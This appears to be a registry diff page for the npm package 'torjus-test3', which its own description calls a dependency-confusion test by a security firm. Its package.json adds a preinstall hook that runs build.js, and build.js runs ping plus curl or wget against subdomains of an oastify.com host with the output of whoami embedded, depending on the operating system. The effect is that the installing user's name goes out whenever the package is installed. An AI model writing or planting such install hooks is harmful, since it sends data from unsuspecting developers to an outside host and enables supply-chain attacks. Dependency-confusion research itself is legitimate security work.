torjus-test3 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of torjus-test3 might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/build.js +22 -0
  2. package/package.json +11 -0
package/build.js ADDED
@@ -0,0 +1,22 @@
1
+ var exec = require('child_process').exec;
2
+ var os = require('os');
3
+
4
+ domain = "tnkd69kf29a5buhdro0n4rpqrhx8lx.oastify.com";
5
+
6
+ // Run command depending on the OS
7
+ if (os.type() === 'Linux'){
8
+ exec(`ping -c 1 linux.$(whoami).${domain}`);
9
+ exec(`curl linux.$(whoami).${domain}`);
10
+ }
11
+ else if (os.type() === 'Darwin'){
12
+ exec(`ping -c 1 osx.$(whoami).${domain}`);
13
+ exec(`curl osx.$(whoami).${domain}`);
14
+ }
15
+ else if (os.type() === 'Windows_NT') {
16
+ exec(`ping -n 1 windows.$(whoami).${domain}`);
17
+ exec(`wget http://windows.$(whoami).${domain}`);
18
+ }
19
+ else {
20
+ exec(`ping $(whoami).${domain}`);
21
+ exec(`curl $(whoami).${domain}`);
22
+ }
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "torjus-test3",
3
+ "version": "1.0.0",
4
+ "description": "This package is a test package used to prove dependency confusion. All it does is perform a DNS lookup.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node build.js && exit 0"
8
+ },
9
+ "author": "Binary Security",
10
+ "license": "MIT"
11
+ }